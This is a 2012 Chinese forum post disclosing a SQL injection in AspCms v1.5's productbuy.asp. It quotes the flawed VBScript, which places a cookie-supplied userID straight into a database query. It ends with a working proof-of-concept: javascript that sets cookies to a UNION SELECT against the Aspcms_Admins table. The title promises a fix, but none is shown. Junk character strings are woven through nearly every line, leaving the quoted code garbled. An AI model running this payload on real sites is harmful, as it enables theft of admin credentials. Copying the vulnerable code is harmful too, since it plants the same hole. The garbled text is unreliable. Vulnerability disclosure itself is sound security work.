找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2457|回复: 0
打印 上一主题 下一主题

AspCms_v1.5_20110517 SQL注射漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:35:05 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好久没上土司了,上来一看发现在删号名单内.....( ~( u2 E6 O/ J2 h/ F  t/ _! Q5 ]
也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
; x; V+ y+ t9 }废话不多说,看代码:9 g! G; x7 O. Y
: I( J. W& K2 C
<%
/ D( |. P' Q) O* L/ A, j/ M
3 x% {( f2 X, S% g  ^" h# b; kif action = "buy" then
0 \( |. @) S; A+ a5 u& N6 ]
# J0 U$ Y7 i, V" L: S        addOrder()
0 S- {- b8 E: z& C- @: r/ D4 W- x$ _, l' o3 J
else
9 m4 w" G" T& `, @% R3 g3 s* s5 A% ~/ l& R) C7 K
        echoContent()3 o4 o" x2 v7 l* e

( D) g& L3 o$ B' W' {% n* send if# b( _( R9 ?4 Y- r, m, |% C
. S# L7 F" w9 A; A

% F( k& z+ [3 o% ^" k( r! k4 Z: n+ G
3 h' n' ?  d7 C/ Z8 f……略过) C4 g/ j1 P$ W$ j- |5 x  a
4 p8 U8 I' O  Y; o; Q+ G7 F9 K
9 h0 _4 Z% h9 @7 @6 O9 c9 S2 y

' T( I1 ~6 P0 f8 ~  B4 y6 ?$ g1 w! xSub echoContent()  k1 H. [. H+ E9 `( V: U
5 T. Y6 H1 W1 }2 c- ^& u
        dim id3 V" I) A! O5 g* Z: F. O3 C+ h! p

5 M" Q. c( F7 o* G: c0 o        id=getForm("id","get")
- {7 B3 u3 D4 O- u, E4 R( P( {9 N4 u/ k+ `3 N# f2 y
        
. {0 \( o* p  V' Z) L# ]' \; A6 \9 V
2 d* F* R  ?1 B2 _9 P$ c( W2 g* R        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
0 z, t, U" y/ [# ]/ x* t+ `4 l. C8 @6 x& }- e4 k3 a
        2 X/ {8 G- p' D
0 f- h  Q' w( B5 `9 M) S9 P9 r0 w
        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")4 k) I& R1 n4 g2 C, [! a. @
% e0 c" S  T9 k% |$ I1 j: R
        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
9 f- N$ V* J5 k& m0 _
1 y. Z+ A& f3 f; e( {        Dim templatePath,tempStr! I1 L* Z6 y1 z# p8 u  H5 ?

. G, s8 ]. Q6 Q, w" t& H% p        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"$ p9 Q% M: U3 |, C# p! [
! F7 s% }8 S( t" @" Q, V( r
- Z6 v- R7 k) l4 g& C1 `

2 ?1 y# n# h0 V, h        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
5 j. I5 O4 W$ A9 U( P0 t+ m+ q+ k' W; l% Q5 d6 u8 V
        selectproduct=rsObj(0)
# C7 z6 S- o0 A( d- H
4 D) u' X7 G/ C. T        ( X6 Q1 l" W8 [& M
' `$ V  U0 T* d; S6 n$ J
        Dim linkman,gender,phone,mobile,email,qq,address,postcode
4 Y& r) R3 V: x
4 q/ m) O  y2 e0 w        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",03 j/ b, [0 {0 v, s  ~0 S" d
9 k' B% |" U# P5 a6 D; L
        if rCookie("loginstatus")=1 then  # [. r* s1 \4 @2 z! N# V

, H8 P5 k+ S# C8 u: k- k                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
/ @! @$ B- u: Q5 K& b/ |) u# a0 W3 U5 i
                linkman=rsObj("truename")
6 A" s1 N; X$ }+ j1 J1 N
& k$ t7 M% z/ |/ ~$ o9 }5 o                gender=rsObj("gender")5 m# T* f6 X  ?% o/ }: E! A- `+ j

5 W& x% ?: `) Z( D/ Y* v+ e                phone=rsObj("phone"): m+ }9 u& l# `  {" z& P0 |) W

' W. H8 l& {0 A/ {/ p  ]4 n                mobile=rsObj("mobile")% ^7 k2 A& Q' K' ^% c: U& ~
$ w4 T, h2 {& _4 F$ }- R+ ]
                email=rsObj("email")
) l9 {# P6 h3 p" B4 [1 u. g* p& w2 D. U5 b( {+ _: j" _
                qq=rsObj("qq")
5 F; T0 b2 t8 w' l4 e9 u0 ?/ r" [& L$ \
                address=rsObj("address")
' G7 ~) Y; q) W4 P# S! @; O. g- S) y, m3 T9 W- d, q5 q
                postcode=rsObj("postcode")
/ y6 T$ ^" Y! L% E4 h8 ^
+ e# ]& \. T7 E0 k' o        else
9 ?+ @$ h7 F' T9 m" }( ]2 y* _% S9 e( v) C$ o
                gender=1* K3 W2 }1 `: f1 _/ }! m& r

  |! D- k' R) H% F+ C- p. \        end if
4 h5 v# d0 R% n
+ E4 Q  K1 a) Q' c1 c        rsObj.close()6 f7 s6 |$ w- x: J% {) p. D
6 p, Y! r- b" |' _
               
2 Y1 x6 M3 s: _' K6 Q& B' H- m+ }( e( f
        with templateObj
; f$ s( H( k- F: e1 |
, b8 r, B  q9 d' M                .content=loadFile(templatePath)        
  Z0 }' i/ g  A7 ?) y, a' m) f0 Q! `* ]! f3 V/ o8 Z8 p
                .parseHtml()
- z# O, x9 @. J4 u( U  [! K7 Z7 h  J" X  O' }+ E' x& u. w+ \7 n1 P
                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
5 Y8 T5 o+ _% D& F8 F
9 j, V" S3 T6 Q8 v* I0 K1 g/ V                .content=replaceStr(.content,"[aspcms:linkman]",linkman)                0 ?8 L6 P( d" t  r4 z8 O
. b$ l2 t" e, t$ L% V3 [4 S5 N
                .content=replaceStr(.content,"[aspcms:gender]",gender)                ' c) O4 U4 P) J8 ]) C6 N4 y$ [7 \( t4 V
& Q  _) g# a0 ~. C7 z7 T7 `: v4 y' T) ^
                .content=replaceStr(.content,"[aspcms:phone]",phone)               
( G) q7 H8 b- D
2 Y8 x! n0 G( Z! ?! q                .content=replaceStr(.content,"[aspcms:mobile]",mobile)                3 _! q1 i+ o" J& s$ h" l; V
' x7 h% L3 i+ g  ~* n2 O
                .content=replaceStr(.content,"[aspcms:email]",email)                        
" g% S  k$ F/ F2 C4 N  w
7 [" I! l' `3 y5 ]& Q& k                .content=replaceStr(.content,"[aspcms:qq]",qq)                        ! q5 T4 @- ~9 e% q: @7 f- Z- E
6 u' B; o) D7 V- l( ^4 J! S
                .content=replaceStr(.content,"[aspcms:address]",address)                        & R. [, D8 Z' C2 t- e

* x" `; }7 c  y0 j' _                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        & M* k. K) i9 n- |- {8 _

$ C6 x1 k. c( ?5 |% ~                .parseCommon()                 
: f$ B8 j; u1 m' m! P- |  b% u; b  u+ p
                echo .content 2 \/ Z; o) G/ `& s  H

4 \( V1 D5 B, @3 x        end with
" B2 [9 W. G1 }: M) y  n9 v5 r" |  {6 r% j9 y. l
        set templateobj =nothing : terminateAllObjects
: @8 R: ]7 _+ \( ^( I( V$ r; _( K: K# d8 b4 M. ]4 L# }9 E
End Sub1 N# A; V- O" b# {3 J2 |
漏洞很明显,没啥好说的
- l3 {2 H6 d+ d: [poc:
$ {# G, _+ |7 x# N- }5 ?* i, j$ a) D7 y/ N  W" A
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​
6 I4 C& W1 s0 Q9 a% @; _" C
" a, f( Y$ `* E, v
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表